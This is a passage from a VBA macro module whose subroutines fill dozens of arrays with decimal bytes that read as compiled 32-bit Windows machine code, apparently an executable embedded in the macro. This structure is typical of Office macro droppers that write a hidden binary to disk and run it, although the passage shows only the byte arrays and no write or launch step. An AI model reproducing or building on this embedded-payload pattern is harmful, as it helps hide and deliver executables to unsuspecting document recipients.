    a(118) = Array(0, 116, 187, 57, 117, 12, 115, 14, 232, 133, 231, 255, 255, 106, 34, 89, 137, 8, 139, 241, 235, 178, 106, 22, 88, 94, 93, 195, 204, 204, 204, 204, 139, 84, 36, 12, 139, 76, 36, 4, 133, 210, 116, 105, 51, 192, 138, 68, 36, 8, 132, 192, 117, 22, 129, 250, 128, 0, 0, 0, 114, 14, 131, 61, 96, 6, 65, 0, 0, 116, 5, 233, 130, 59, 0, 0, 87, 139, 249, 131, 250, 4, 114, 49, 247, 217, 131, 225, 3, 116, 12, 43, 209, 136, 7, 131, 199, 1, 131, 233, 1, 117, 246, 139, 200, 193, 224, 8, 3, 193, 139, 200, 193, 224, 16, 3, 193, 139, 202, 131, 226, 3, 193, 233, 2, 116, 6, 243)
    a(119) = Array(171, 133, 210, 116, 10, 136, 7, 131, 199, 1, 131, 234, 1, 117, 246, 139, 68, 36, 8, 95, 195, 139, 68, 36, 4, 195, 139, 255, 85, 139, 236, 81, 86, 139, 117, 12, 86, 232, 215, 254, 255, 255, 137, 69, 12, 139, 70, 12, 89, 168, 130, 117, 23, 232, 216, 230, 255, 255, 199, 0, 9, 0, 0, 0, 131, 78, 12, 32, 131, 200, 255, 233, 47, 1, 0, 0, 168, 64, 116, 13, 232, 189, 230, 255, 255, 199, 0, 34, 0, 0, 0, 235, 227, 83, 51, 219, 168, 1, 116, 22, 137, 94, 4, 168, 16, 15, 132, 135, 0, 0, 0, 139, 78, 8, 131, 224, 254, 137, 14, 137, 70, 12, 139, 70, 12, 131, 224, 239)
    a(120) = Array(131, 200, 2, 137, 70, 12, 137, 94, 4, 137, 93, 252, 169, 12, 1, 0, 0, 117, 44, 232, 17, 236, 255, 255, 131, 192, 32, 59, 240, 116, 12, 232, 5, 236, 255, 255, 131, 192, 64, 59, 240, 117, 13, 255, 117, 12, 232, 101, 59, 0, 0, 89, 133, 192, 117, 7, 86, 232, 9, 53, 0, 0, 89, 247, 70, 12, 8, 1, 0, 0, 87, 15, 132, 128, 0, 0, 0, 139, 70, 8, 139, 62, 141, 72, 1, 137, 14, 139, 78, 24, 43, 248, 73, 137, 78, 4, 59, 251, 126, 29, 87, 80, 255, 117, 12, 232, 141, 7, 0, 0, 131, 196, 12, 137, 69, 252, 235, 77, 131, 200, 32, 137, 70, 12, 131, 200, 255, 235)
End Sub

Private Sub Init4()
    a(121) = Array(121, 139, 77, 12, 131, 249, 255, 116, 27, 131, 249, 254, 116, 22, 139, 193, 131, 224, 31, 139, 209, 193, 250, 5, 193, 224, 6, 3, 4, 149, 128, 6, 65, 0, 235, 5, 184, 0, 229, 64, 0, 246, 64, 4, 32, 116, 20, 106, 2, 83, 83, 81, 232, 92, 53, 0, 0, 35, 194, 131, 196, 16, 131, 248, 255, 116, 37, 139, 70, 8, 138, 77, 8, 136, 8, 235, 22, 51, 255, 71, 87, 141, 69, 8, 80, 255, 117, 12, 232, 30, 7, 0, 0, 131, 196, 12, 137, 69, 252, 57, 125, 252, 116, 9, 131, 78, 12, 32, 131, 200, 255, 235, 8, 139, 69, 8, 37, 255, 0, 0, 0, 95, 91, 94, 201, 195, 139, 255)
    a(122) = Array(85, 139, 236, 184, 228, 26, 0, 0, 232, 163, 60, 0, 0, 161, 4, 224, 64, 0, 51, 197, 137, 69, 252, 139, 69, 12, 86, 139, 117, 8, 87, 51, 255, 137, 133, 52, 229, 255, 255, 137, 189, 56, 229, 255, 255, 137, 189, 48, 229, 255, 255, 57, 125, 16, 117, 7, 51, 192, 233, 174, 6, 0, 0, 59, 199, 117, 31, 232, 93, 229, 255, 255, 137, 56, 232, 67, 229, 255, 255, 199, 0, 22, 0, 0, 0, 232, 250, 241, 255, 255, 131, 200, 255, 233, 139, 6, 0, 0, 139, 198, 193, 248, 5, 139, 254, 83, 141, 28, 133, 128, 6, 65, 0, 139, 3, 131, 231, 31, 193, 231, 6, 138, 76, 56, 36, 2, 201, 208)
    a(123) = Array(249, 137, 157, 36, 229, 255, 255, 136, 141, 63, 229, 255, 255, 128, 249, 2, 116, 5, 128, 249, 1, 117, 39, 139, 77, 16, 247, 209, 246, 193, 1, 117, 29, 232, 255, 228, 255, 255, 131, 32, 0, 232, 228, 228, 255, 255, 199, 0, 22, 0, 0, 0, 232, 155, 241, 255, 255, 233, 29, 6, 0, 0, 246, 68, 56, 4, 32, 116, 15, 106, 2, 106, 0, 106, 0, 86, 232, 191, 51, 0, 0, 131, 196, 16, 86, 232, 190, 57, 0, 0, 89, 133, 192, 15, 132, 153, 2, 0, 0, 139, 3, 246, 68, 7, 4, 128, 15, 132, 140, 2, 0, 0, 232, 18, 24, 0, 0, 139, 64, 108, 51, 201, 57, 72, 20, 141, 133, 32)
    a(124) = Array(229, 255, 255, 15, 148, 193, 80, 139, 3, 255, 52, 7, 139, 241, 255, 21, 204, 176, 64, 0, 51, 201, 59, 193, 15, 132, 96, 2, 0, 0, 59, 241, 116, 12, 56, 141, 63, 229, 255, 255, 15, 132, 80, 2, 0, 0, 255, 21, 200, 176, 64, 0, 139, 157, 52, 229, 255, 255, 137, 133, 32, 229, 255, 255, 51, 192, 137, 133, 44, 229, 255, 255, 57, 69, 16, 15, 134, 35, 5, 0, 0, 137, 133, 64, 229, 255, 255, 138, 133, 63, 229, 255, 255, 132, 192, 15, 133, 103, 1, 0, 0, 138, 11, 139, 181, 36, 229, 255, 255, 51, 192, 128, 249, 10, 15, 148, 192, 137, 133, 28, 229, 255, 255, 139, 6, 3, 199, 131)
    a(125) = Array(120, 56, 0, 116, 21, 138, 80, 52, 136, 85, 244, 136, 77, 245, 131, 96, 56, 0, 106, 2, 141, 69, 244, 80, 235, 75, 15, 190, 193, 80, 232, 245, 58, 0, 0, 89, 133, 192, 116, 58, 139, 141, 52, 229, 255, 255, 43, 203, 3, 77, 16, 51, 192, 64, 59, 200, 15, 134, 165, 1, 0, 0, 106, 2, 141, 133, 68, 229, 255, 255, 83, 80, 232, 121, 58, 0, 0, 131, 196, 12, 131, 248, 255, 15, 132, 146, 4, 0, 0, 67, 255, 133, 64, 229, 255, 255, 235, 27, 106, 1, 83, 141, 133, 68, 229, 255, 255, 80, 232, 85, 58, 0, 0, 131, 196, 12, 131, 248, 255, 15, 132, 110, 4, 0, 0, 51, 192, 80)
    a(126) = Array(80, 106, 5, 141, 77, 244, 81, 106, 1, 141, 141, 68, 229, 255, 255, 81, 80, 255, 181, 32, 229, 255, 255, 67, 255, 133, 64, 229, 255, 255, 255, 21, 196, 176, 64, 0, 139, 240, 133, 246, 15, 132, 61, 4, 0, 0, 106, 0, 141, 133, 44, 229, 255, 255, 80, 86, 141, 69, 244, 80, 139, 133, 36, 229, 255, 255, 139, 0, 255, 52, 7, 255, 21, 156, 176, 64, 0, 133, 192, 15, 132, 10, 4, 0, 0, 139, 133, 64, 229, 255, 255, 139, 141, 48, 229, 255, 255, 3, 193, 137, 133, 56, 229, 255, 255, 57, 181, 44, 229, 255, 255, 15, 140, 246, 3, 0, 0, 131, 189, 28, 229, 255, 255, 0, 15, 132, 205, 0)
    a(127) = Array(0, 0, 106, 0, 141, 133, 44, 229, 255, 255, 80, 106, 1, 141, 69, 244, 80, 139, 133, 36, 229, 255, 255, 139, 0, 198, 69, 244, 13, 255, 52, 7, 255, 21, 156, 176, 64, 0, 133, 192, 15, 132, 177, 3, 0, 0, 131, 189, 44, 229, 255, 255, 1, 15, 140, 176, 3, 0, 0, 255, 133, 48, 229, 255, 255, 255, 133, 56, 229, 255, 255, 233, 131, 0, 0, 0, 60, 1, 116, 4, 60, 2, 117, 33, 15, 183, 51, 51, 201, 131, 254, 10, 15, 148, 193, 131, 195, 2, 131, 133, 64, 229, 255, 255, 2, 137, 181, 68, 229, 255, 255, 137, 141, 28, 229, 255, 255, 60, 1, 116, 4, 60, 2, 117, 82, 255, 181, 68)
    a(128) = Array(229, 255, 255, 232, 230, 55, 0, 0, 89, 102, 59, 133, 68, 229, 255, 255, 15, 133, 73, 3, 0, 0, 131, 133, 56, 229, 255, 255, 2, 131, 189, 28, 229, 255, 255, 0, 116, 41, 106, 13, 88, 80, 137, 133, 68, 229, 255, 255, 232, 185, 55, 0, 0, 89, 102, 59, 133, 68, 229, 255, 255, 15, 133, 28, 3, 0, 0, 255, 133, 56, 229, 255, 255, 255, 133, 48, 229, 255, 255, 139, 69, 16, 57, 133, 64, 229, 255, 255, 15, 130, 249, 253, 255, 255, 233, 8, 3, 0, 0, 139, 14, 138, 19, 255, 133, 56, 229, 255, 255, 136, 84, 15, 52, 139, 14, 137, 68, 15, 56, 233, 239, 2, 0, 0, 51, 201, 139, 3)
    a(129) = Array(246, 68, 56, 4, 128, 15, 132, 161, 2, 0, 0, 128, 189, 63, 229, 255, 255, 0, 137, 141, 68, 229, 255, 255, 15, 133, 168, 0, 0, 0, 139, 157, 52, 229, 255, 255, 57, 77, 16, 15, 134, 253, 2, 0, 0, 139, 203, 51, 246, 43, 141, 52, 229, 255, 255, 141, 133, 72, 229, 255, 255, 59, 77, 16, 115, 38, 138, 19, 67, 65, 137, 157, 32, 229, 255, 255, 128, 250, 10, 117, 11, 255, 133, 48, 229, 255, 255, 198, 0, 13, 64, 70, 136, 16, 64, 70, 129, 254, 255, 19, 0, 0, 114, 213, 139, 240, 141, 133, 72, 229, 255, 255, 43, 240, 106, 0, 141, 133, 40, 229, 255, 255, 80, 86, 141, 133, 72, 229)
    a(130) = Array(255, 255, 80, 139, 133, 36, 229, 255, 255, 139, 0, 255, 52, 7, 255, 21, 156, 176, 64, 0, 133, 192, 15, 132, 67, 2, 0, 0, 139, 133, 40, 229, 255, 255, 1, 133, 56, 229, 255, 255, 59, 198, 15, 140, 59, 2, 0, 0, 139, 195, 43, 133, 52, 229, 255, 255, 59, 69, 16, 15, 130, 108, 255, 255, 255, 233, 37, 2, 0, 0, 128, 189, 63, 229, 255, 255, 2, 15, 133, 205, 0, 0, 0, 139, 157, 52, 229, 255, 255, 57, 77, 16, 15, 134, 72, 2, 0, 0, 131, 165, 64, 229, 255, 255, 0, 139, 203, 43, 141, 52, 229, 255, 255, 106, 2, 141, 133, 72, 229, 255, 255, 94, 59, 77, 16, 115, 67, 15)
    a(131) = Array(183, 19, 3, 222, 3, 206, 137, 157, 32, 229, 255, 255, 131, 250, 10, 117, 26, 1, 181, 48, 229, 255, 255, 106, 13, 91, 102, 137, 24, 139, 157, 32, 229, 255, 255, 3, 198, 1, 181, 64, 229, 255, 255, 1, 181, 64, 229, 255, 255, 102, 137, 16, 3, 198, 129, 189, 64, 229, 255, 255, 254, 19, 0, 0, 114, 184, 139, 240, 141, 133, 72, 229, 255, 255, 43, 240, 106, 0, 141, 133, 40, 229, 255, 255, 80, 86, 141, 133, 72, 229, 255, 255, 80, 139, 133, 36, 229, 255, 255, 139, 0, 255, 52, 7, 255, 21, 156, 176, 64, 0, 133, 192, 15, 132, 105, 1, 0, 0, 139, 133, 40, 229, 255, 255, 1, 133, 56, 229)
    a(132) = Array(255, 255, 59, 198, 15, 140, 97, 1, 0, 0, 139, 195, 43, 133, 52, 229, 255, 255, 59, 69, 16, 15, 130, 71, 255, 255, 255, 233, 75, 1, 0, 0, 139, 133, 52, 229, 255, 255, 137, 133, 44, 229, 255, 255, 57, 77, 16, 15, 134, 117, 1, 0, 0, 139, 141, 44, 229, 255, 255, 131, 165, 64, 229, 255, 255, 0, 43, 141, 52, 229, 255, 255, 106, 2, 141, 133, 72, 249, 255, 255, 94, 59, 77, 16, 115, 59, 139, 149, 44, 229, 255, 255, 15, 183, 18, 1, 181, 44, 229, 255, 255, 3, 206, 131, 250, 10, 117, 14, 106, 13, 91, 102, 137, 24, 3, 198, 1, 181, 64, 229, 255, 255, 1, 181, 64, 229, 255, 255)
    a(133) = Array(102, 137, 16, 3, 198, 129, 189, 64, 229, 255, 255, 168, 6, 0, 0, 114, 192, 51, 246, 86, 86, 104, 85, 13, 0, 0, 141, 141, 240, 235, 255, 255, 81, 141, 141, 72, 249, 255, 255, 43, 193, 153, 43, 194, 209, 248, 80, 139, 193, 80, 86, 104, 233, 253, 0, 0, 255, 21, 196, 176, 64, 0, 139, 216, 59, 222, 15, 132, 151, 0, 0, 0, 106, 0, 141, 133, 40, 229, 255, 255, 80, 139, 195, 43, 198, 80, 141, 132, 53, 240, 235, 255, 255, 80, 139, 133, 36, 229, 255, 255, 139, 0, 255, 52, 7, 255, 21, 156, 176, 64, 0, 133, 192, 116, 12, 3, 181, 40, 229, 255, 255, 59, 222, 127, 203, 235, 12, 255)
    a(134) = Array(21, 16, 176, 64, 0, 137, 133, 68, 229, 255, 255, 59, 222, 127, 92, 139, 133, 44, 229, 255, 255, 43, 133, 52, 229, 255, 255, 137, 133, 56, 229, 255, 255, 59, 69, 16, 15, 130, 11, 255, 255, 255, 235, 63, 81, 141, 141, 40, 229, 255, 255, 81, 255, 117, 16, 255, 181, 52, 229, 255, 255, 255, 52, 56, 255, 21, 156, 176, 64, 0, 133, 192, 116, 21, 139, 133, 40, 229, 255, 255, 131, 165, 68, 229, 255, 255, 0, 137, 133, 56, 229, 255, 255, 235, 12, 255, 21, 16, 176, 64, 0, 137, 133, 68, 229, 255, 255, 131, 189, 56, 229, 255, 255, 0, 117, 108, 131, 189, 68, 229, 255, 255, 0, 116, 45, 106, 5, 94)
    a(135) = Array(57, 181, 68, 229, 255, 255, 117, 20, 232, 5, 223, 255, 255, 199, 0, 9, 0, 0, 0, 232, 13, 223, 255, 255, 137, 48, 235, 63, 255, 181, 68, 229, 255, 255, 232, 17, 223, 255, 255, 89, 235, 49, 139, 133, 36, 229, 255, 255, 139, 0, 246, 68, 7, 4, 64, 116, 15, 139, 133, 52, 229, 255, 255, 128, 56, 26, 117, 4, 51, 192, 235, 36, 232, 197, 222, 255, 255, 199, 0, 28, 0, 0, 0, 232, 205, 222, 255, 255, 131, 32, 0, 131, 200, 255, 235, 12, 139, 133, 56, 229, 255, 255, 43, 133, 48, 229, 255, 255, 91, 139, 77, 252, 95, 51, 205, 94, 232, 231, 209, 255, 255, 201, 195, 106, 16, 104, 144, 206)
    a(136) = Array(64, 0, 232, 105, 235, 255, 255, 139, 93, 8, 131, 251, 254, 117, 27, 232, 145, 222, 255, 255, 131, 32, 0, 232, 118, 222, 255, 255, 199, 0, 9, 0, 0, 0, 131, 200, 255, 233, 148, 0, 0, 0, 133, 219, 120, 8, 59, 29, 104, 6, 65, 0, 114, 26, 232, 106, 222, 255, 255, 131, 32, 0, 232, 79, 222, 255, 255, 199, 0, 9, 0, 0, 0, 232, 6, 235, 255, 255, 235, 210, 139, 195, 193, 248, 5, 141, 60, 133, 128, 6, 65, 0, 139, 243, 131, 230, 31, 193, 230, 6, 139, 7, 15, 190, 68, 48, 4, 131, 224, 1, 116, 198, 83, 232, 249, 47, 0, 0, 89, 131, 101, 252, 0, 139, 7, 246, 68, 48)
    a(137) = Array(4, 1, 116, 20, 255, 117, 16, 255, 117, 12, 83, 232, 110, 248, 255, 255, 131, 196, 12, 137, 69, 228, 235, 23, 232, 245, 221, 255, 255, 199, 0, 9, 0, 0, 0, 232, 253, 221, 255, 255, 131, 32, 0, 131, 77, 228, 255, 199, 69, 252, 254, 255, 255, 255, 232, 12, 0, 0, 0, 139, 69, 228, 232, 242, 234, 255, 255, 195, 139, 93, 8, 83, 232, 65, 48, 0, 0, 89, 195, 139, 255, 85, 139, 236, 83, 86, 139, 117, 8, 139, 70, 12, 139, 200, 128, 225, 3, 51, 219, 128, 249, 2, 117, 64, 169, 8, 1, 0, 0, 116, 57, 139, 70, 8, 87, 139, 62, 43, 248, 133, 255, 126, 44, 87, 80, 86, 232, 126)
    a(138) = Array(245, 255, 255, 89, 80, 232, 241, 254, 255, 255, 131, 196, 12, 59, 199, 117, 15, 139, 70, 12, 132, 192, 121, 15, 131, 224, 253, 137, 70, 12, 235, 7, 131, 78, 12, 32, 131, 203, 255, 95, 139, 70, 8, 131, 102, 4, 0, 137, 6, 94, 139, 195, 91, 93, 195, 139, 255, 85, 139, 236, 86, 139, 117, 8, 133, 246, 117, 9, 86, 232, 53, 0, 0, 0, 89, 235, 47, 86, 232, 124, 255, 255, 255, 89, 133, 192, 116, 5, 131, 200, 255, 235, 31, 247, 70, 12, 0, 64, 0, 0, 116, 20, 86, 232, 21, 245, 255, 255, 80, 232, 105, 52, 0, 0, 89, 247, 216, 89, 27, 192, 235, 2, 51, 192, 94, 93, 195, 106)
    a(139) = Array(20, 104, 176, 206, 64, 0, 232, 229, 233, 255, 255, 51, 255, 137, 125, 228, 137, 125, 220, 106, 1, 232, 78, 21, 0, 0, 89, 137, 125, 252, 51, 246, 137, 117, 224, 59, 53, 160, 23, 65, 0, 15, 141, 131, 0, 0, 0, 161, 132, 7, 65, 0, 141, 4, 176, 57, 56, 116, 94, 139, 0, 246, 64, 12, 131, 116, 86, 80, 86, 232, 119, 227, 255, 255, 89, 89, 51, 210, 66, 137, 85, 252, 161, 132, 7, 65, 0, 139, 4, 176, 139, 72, 12, 246, 193, 131, 116, 47, 57, 85, 8, 117, 17, 80, 232, 74, 255, 255, 255, 89, 131, 248, 255, 116, 30, 255, 69, 228, 235, 25, 57, 125, 8, 117, 20, 246, 193, 2)
    a(140) = Array(116, 15, 80, 232, 47, 255, 255, 255, 89, 131, 248, 255, 117, 3, 9, 69, 220, 137, 125, 252, 232, 8, 0, 0, 0, 70, 235, 132, 51, 255, 139, 117, 224, 161, 132, 7, 65, 0, 255, 52, 176, 86, 232, 128, 227, 255, 255, 89, 89, 195, 199, 69, 252, 254, 255, 255, 255, 232, 18, 0, 0, 0, 131, 125, 8, 1, 139, 69, 228, 116, 3, 139, 69, 220, 232, 102, 233, 255, 255, 195, 106, 1, 232, 184, 19, 0, 0, 89, 195, 106, 1, 232, 31, 255, 255, 255, 89, 195, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 85, 139, 236, 87, 86, 139, 117, 12, 139, 77, 16, 139, 125, 8, 139, 193)
    a(141) = Array(139, 209, 3, 198, 59, 254, 118, 8, 59, 248, 15, 130, 160, 1, 0, 0, 129, 249, 128, 0, 0, 0, 114, 28, 131, 61, 96, 6, 65, 0, 0, 116, 19, 87, 86, 131, 231, 15, 131, 230, 15, 59, 254, 94, 95, 117, 5, 233, 0, 52, 0, 0, 247, 199, 3, 0, 0, 0, 117, 20, 193, 233, 2, 131, 226, 3, 131, 249, 8, 114, 41, 243, 165, 255, 36, 149, 96, 83, 64, 0, 139, 199, 186, 3, 0, 0, 0, 131, 233, 4, 114, 12, 131, 224, 3, 3, 200, 255, 36, 133, 116, 82, 64, 0, 255, 36, 141, 112, 83, 64, 0, 144, 255, 36, 141, 244, 82, 64, 0, 144, 132, 82, 64, 0, 176, 82, 64, 0)
    a(142) = Array(212, 82, 64, 0, 35, 209, 138, 6, 136, 7, 138, 70, 1, 136, 71, 1, 138, 70, 2, 193, 233, 2, 136, 71, 2, 131, 198, 3, 131, 199, 3, 131, 249, 8, 114, 204, 243, 165, 255, 36, 149, 96, 83, 64, 0, 141, 73, 0, 35, 209, 138, 6, 136, 7, 138, 70, 1, 193, 233, 2, 136, 71, 1, 131, 198, 2, 131, 199, 2, 131, 249, 8, 114, 166, 243, 165, 255, 36, 149, 96, 83, 64, 0, 144, 35, 209, 138, 6, 136, 7, 131, 198, 1, 193, 233, 2, 131, 199, 1, 131, 249, 8, 114, 136, 243, 165, 255, 36, 149, 96, 83, 64, 0, 141, 73, 0, 87, 83, 64, 0, 68, 83, 64, 0, 60, 83, 64, 0)
    a(143) = Array(52, 83, 64, 0, 44, 83, 64, 0, 36, 83, 64, 0, 28, 83, 64, 0, 20, 83, 64, 0, 139, 68, 142, 228, 137, 68, 143, 228, 139, 68, 142, 232, 137, 68, 143, 232, 139, 68, 142, 236, 137, 68, 143, 236, 139, 68, 142, 240, 137, 68, 143, 240, 139, 68, 142, 244, 137, 68, 143, 244, 139, 68, 142, 248, 137, 68, 143, 248, 139, 68, 142, 252, 137, 68, 143, 252, 141, 4, 141, 0, 0, 0, 0, 3, 240, 3, 248, 255, 36, 149, 96, 83, 64, 0, 139, 255, 112, 83, 64, 0, 120, 83, 64, 0, 132, 83, 64, 0, 152, 83, 64, 0, 139, 69, 8, 94, 95, 201, 195, 144, 138, 6, 136, 7, 139, 69, 8, 94)
    a(144) = Array(95, 201, 195, 144, 138, 6, 136, 7, 138, 70, 1, 136, 71, 1, 139, 69, 8, 94, 95, 201, 195, 141, 73, 0, 138, 6, 136, 7, 138, 70, 1, 136, 71, 1, 138, 70, 2, 136, 71, 2, 139, 69, 8, 94, 95, 201, 195, 144, 141, 116, 49, 252, 141, 124, 57, 252, 247, 199, 3, 0, 0, 0, 117, 36, 193, 233, 2, 131, 226, 3, 131, 249, 8, 114, 13, 253, 243, 165, 252, 255, 36, 149, 252, 84, 64, 0, 139, 255, 247, 217, 255, 36, 141, 172, 84, 64, 0, 141, 73, 0, 139, 199, 186, 3, 0, 0, 0, 131, 249, 4, 114, 12, 131, 224, 3, 43, 200, 255, 36, 133, 0, 84, 64, 0, 255, 36, 141, 252)
    a(145) = Array(84, 64, 0, 144, 16, 84, 64, 0, 52, 84, 64, 0, 92, 84, 64, 0, 138, 70, 3, 35, 209, 136, 71, 3, 131, 238, 1, 193, 233, 2, 131, 239, 1, 131, 249, 8, 114, 178, 253, 243, 165, 252, 255, 36, 149, 252, 84, 64, 0, 141, 73, 0, 138, 70, 3, 35, 209, 136, 71, 3, 138, 70, 2, 193, 233, 2, 136, 71, 2, 131, 238, 2, 131, 239, 2, 131, 249, 8, 114, 136, 253, 243, 165, 252, 255, 36, 149, 252, 84, 64, 0, 144, 138, 70, 3, 35, 209, 136, 71, 3, 138, 70, 2, 136, 71, 2, 138, 70, 1, 193, 233, 2, 136, 71, 1, 131, 238, 3, 131, 239, 3, 131, 249, 8, 15, 130, 86, 255)
    a(146) = Array(255, 255, 253, 243, 165, 252, 255, 36, 149, 252, 84, 64, 0, 141, 73, 0, 176, 84, 64, 0, 184, 84, 64, 0, 192, 84, 64, 0, 200, 84, 64, 0, 208, 84, 64, 0, 216, 84, 64, 0, 224, 84, 64, 0, 243, 84, 64, 0, 139, 68, 142, 28, 137, 68, 143, 28, 139, 68, 142, 24, 137, 68, 143, 24, 139, 68, 142, 20, 137, 68, 143, 20, 139, 68, 142, 16, 137, 68, 143, 16, 139, 68, 142, 12, 137, 68, 143, 12, 139, 68, 142, 8, 137, 68, 143, 8, 139, 68, 142, 4, 137, 68, 143, 4, 141, 4, 141, 0, 0, 0, 0, 3, 240, 3, 248, 255, 36, 149, 252, 84, 64, 0, 139, 255, 12, 85, 64, 0)
    a(147) = Array(20, 85, 64, 0, 36, 85, 64, 0, 56, 85, 64, 0, 139, 69, 8, 94, 95, 201, 195, 144, 138, 70, 3, 136, 71, 3, 139, 69, 8, 94, 95, 201, 195, 141, 73, 0, 138, 70, 3, 136, 71, 3, 138, 70, 2, 136, 71, 2, 139, 69, 8, 94, 95, 201, 195, 144, 138, 70, 3, 136, 71, 3, 138, 70, 2, 136, 71, 2, 138, 70, 1, 136, 71, 1, 139, 69, 8, 94, 95, 201, 195, 139, 255, 85, 139, 236, 131, 236, 76, 86, 141, 69, 180, 80, 255, 21, 112, 176, 64, 0, 106, 64, 106, 32, 94, 86, 232, 140, 26, 0, 0, 89, 89, 51, 201, 59, 193, 117, 8, 131, 200, 255, 233, 15, 2, 0, 0, 141)
    a(148) = Array(144, 0, 8, 0, 0, 163, 128, 6, 65, 0, 137, 53, 104, 6, 65, 0, 59, 194, 115, 54, 131, 192, 5, 131, 72, 251, 255, 102, 199, 64, 255, 0, 10, 137, 72, 3, 102, 199, 64, 31, 0, 10, 198, 64, 33, 10, 137, 72, 51, 136, 72, 47, 139, 53, 128, 6, 65, 0, 131, 192, 64, 141, 80, 251, 129, 198, 0, 8, 0, 0, 59, 214, 114, 205, 83, 87, 102, 57, 77, 230, 15, 132, 14, 1, 0, 0, 139, 69, 232, 59, 193, 15, 132, 3, 1, 0, 0, 139, 24, 131, 192, 4, 137, 69, 252, 3, 195, 190, 0, 8, 0, 0, 137, 69, 248, 59, 222, 124, 2, 139, 222, 57, 29, 104, 6, 65, 0, 125)
    a(149) = Array(107, 191, 132, 6, 65, 0, 106, 64, 106, 32, 232, 236, 25, 0, 0, 89, 89, 133, 192, 116, 81, 131, 5, 104, 6, 65, 0, 32, 141, 136, 0, 8, 0, 0, 137, 7, 59, 193, 115, 49, 131, 192, 5, 131, 72, 251, 255, 131, 96, 3, 0, 128, 96, 31, 128, 131, 96, 51, 0, 102, 199, 64, 255, 0, 10, 102, 199, 64, 32, 10, 10, 198, 64, 47, 0, 139, 15, 131, 192, 64, 3, 206, 141, 80, 251, 59, 209, 114, 210, 131, 199, 4, 57, 29, 104, 6, 65, 0, 124, 162, 235, 6, 139, 29, 104, 6, 65, 0, 51, 255, 133, 219, 126, 114, 139, 69, 248, 139, 0, 131, 248, 255, 116, 92, 131, 248, 254, 116)
    a(150) = Array(87, 139, 77, 252, 138, 9, 246, 193, 1, 116, 77, 246, 193, 8, 117, 11, 80, 255, 21, 212, 176, 64, 0, 133, 192, 116, 61, 139, 247, 131, 230, 31, 139, 199, 193, 248, 5, 193, 230, 6, 3, 52, 133, 128, 6, 65, 0, 139, 69, 248, 139, 0, 137, 6, 139, 69, 252, 138, 0, 136, 70, 4, 104, 160, 15, 0, 0, 141, 70, 12, 80, 255, 21, 180, 176, 64, 0, 133, 192, 15, 132, 188, 0, 0, 0, 255, 70, 8, 131, 69, 248, 4, 71, 255, 69, 252, 59, 251, 124, 142, 51, 219, 139, 243, 193, 230, 6, 3, 53, 128, 6, 65, 0, 139, 6, 131, 248, 255, 116, 11, 131, 248, 254, 116, 6, 128, 78, 4)
End Sub

Private Sub Init5()
    a(151) = Array(128, 235, 113, 198, 70, 4, 129, 133, 219, 117, 5, 106, 246, 88, 235, 10, 141, 67, 255, 247, 216, 27, 192, 131, 192, 245, 80, 255, 21, 160, 176, 64, 0, 139, 248, 131, 255, 255, 116, 66, 133, 255, 116, 62, 87, 255, 21, 212, 176, 64, 0, 133, 192, 116, 51, 37, 255, 0, 0, 0, 137, 62, 131, 248, 2, 117, 6, 128, 78, 4, 64, 235, 9, 131, 248, 3, 117, 4, 128, 78, 4, 8, 104, 160, 15, 0, 0, 141, 70, 12, 80, 255, 21, 180, 176, 64, 0, 133, 192, 116, 44, 255, 70, 8, 235, 10, 128, 78, 4, 64, 199, 6, 254, 255, 255, 255, 67, 131, 251, 3, 15, 140, 104, 255, 255, 255, 255, 53)
    a(152) = Array(104, 6, 65, 0, 255, 21, 208, 176, 64, 0, 51, 192, 95, 91, 94, 201, 195, 131, 200, 255, 235, 246, 139, 255, 85, 139, 236, 86, 139, 117, 8, 86, 232, 225, 39, 0, 0, 89, 131, 248, 255, 117, 16, 232, 98, 214, 255, 255, 199, 0, 9, 0, 0, 0, 131, 200, 255, 235, 77, 87, 255, 117, 16, 106, 0, 255, 117, 12, 80, 255, 21, 220, 176, 64, 0, 139, 248, 131, 255, 255, 117, 8, 255, 21, 16, 176, 64, 0, 235, 2, 51, 192, 133, 192, 116, 12, 80, 232, 82, 214, 255, 255, 89, 131, 200, 255, 235, 27, 139, 198, 193, 248, 5, 139, 4, 133, 128, 6, 65, 0, 131, 230, 31, 193, 230, 6, 141, 68)
    a(153) = Array(48, 4, 128, 32, 253, 139, 199, 95, 94, 93, 195, 106, 16, 104, 216, 206, 64, 0, 232, 217, 226, 255, 255, 139, 93, 8, 131, 251, 254, 117, 27, 232, 1, 214, 255, 255, 131, 32, 0, 232, 230, 213, 255, 255, 199, 0, 9, 0, 0, 0, 131, 200, 255, 233, 148, 0, 0, 0, 133, 219, 120, 8, 59, 29, 104, 6, 65, 0, 114, 26, 232, 218, 213, 255, 255, 131, 32, 0, 232, 191, 213, 255, 255, 199, 0, 9, 0, 0, 0, 232, 118, 226, 255, 255, 235, 210, 139, 195, 193, 248, 5, 141, 60, 133, 128, 6, 65, 0, 139, 243, 131, 230, 31, 193, 230, 6, 139, 7, 15, 190, 68, 48, 4, 131, 224, 1, 116, 198)
    a(154) = Array(83, 232, 105, 39, 0, 0, 89, 131, 101, 252, 0, 139, 7, 246, 68, 48, 4, 1, 116, 20, 255, 117, 16, 255, 117, 12, 83, 232, 246, 254, 255, 255, 131, 196, 12, 137, 69, 228, 235, 23, 232, 101, 213, 255, 255, 199, 0, 9, 0, 0, 0, 232, 109, 213, 255, 255, 131, 32, 0, 131, 77, 228, 255, 199, 69, 252, 254, 255, 255, 255, 232, 12, 0, 0, 0, 139, 69, 228, 232, 98, 226, 255, 255, 195, 139, 93, 8, 83, 232, 177, 39, 0, 0, 89, 195, 139, 255, 85, 139, 236, 86, 139, 117, 8, 87, 86, 232, 151, 38, 0, 0, 89, 131, 248, 255, 116, 80, 161, 128, 6, 65, 0, 131, 254, 1, 117, 9, 246)
    a(155) = Array(128, 132, 0, 0, 0, 1, 117, 11, 131, 254, 2, 117, 28, 246, 64, 68, 1, 116, 22, 106, 2, 232, 108, 38, 0, 0, 106, 1, 139, 248, 232, 99, 38, 0, 0, 89, 89, 59, 199, 116, 28, 86, 232, 87, 38, 0, 0, 89, 80, 255, 21, 24, 176, 64, 0, 133, 192, 117, 10, 255, 21, 16, 176, 64, 0, 139, 248, 235, 2, 51, 255, 86, 232, 179, 37, 0, 0, 139, 198, 193, 248, 5, 139, 4, 133, 128, 6, 65, 0, 131, 230, 31, 193, 230, 6, 89, 198, 68, 48, 4, 0, 133, 255, 116, 12, 87, 232, 201, 212, 255, 255, 89, 131, 200, 255, 235, 2, 51, 192, 95, 94, 93, 195, 106, 16, 104, 248, 206)
